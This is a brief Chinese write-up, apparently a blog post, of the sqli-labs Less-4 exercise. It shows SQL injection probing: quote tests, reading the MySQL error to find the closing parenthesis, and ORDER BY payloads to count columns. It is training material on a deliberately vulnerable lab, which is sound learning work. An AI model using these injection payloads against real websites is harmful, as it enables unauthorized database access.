less4

合集 - Sqli Less(7)

1.less22024-12-102.less32024-12-113.less12024-12-09

4.less42024-12-12

5.less52024-12-196.less62024-12-217.less7(未完)2024-12-22

收起

1.在url处查找注入点

?id=1'
#单引号,无果
?id=1"
#双引号,出现报错

这里的报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1
结合less3来看是在提示后面缺失)闭合
输入:

?id=1")%23

回显正常

查询列数:3列

?id=1") order by 4%23
?id=1") order by 1%23
?id=1") order by 3%23

后续和less1~3一样,这里不再赘述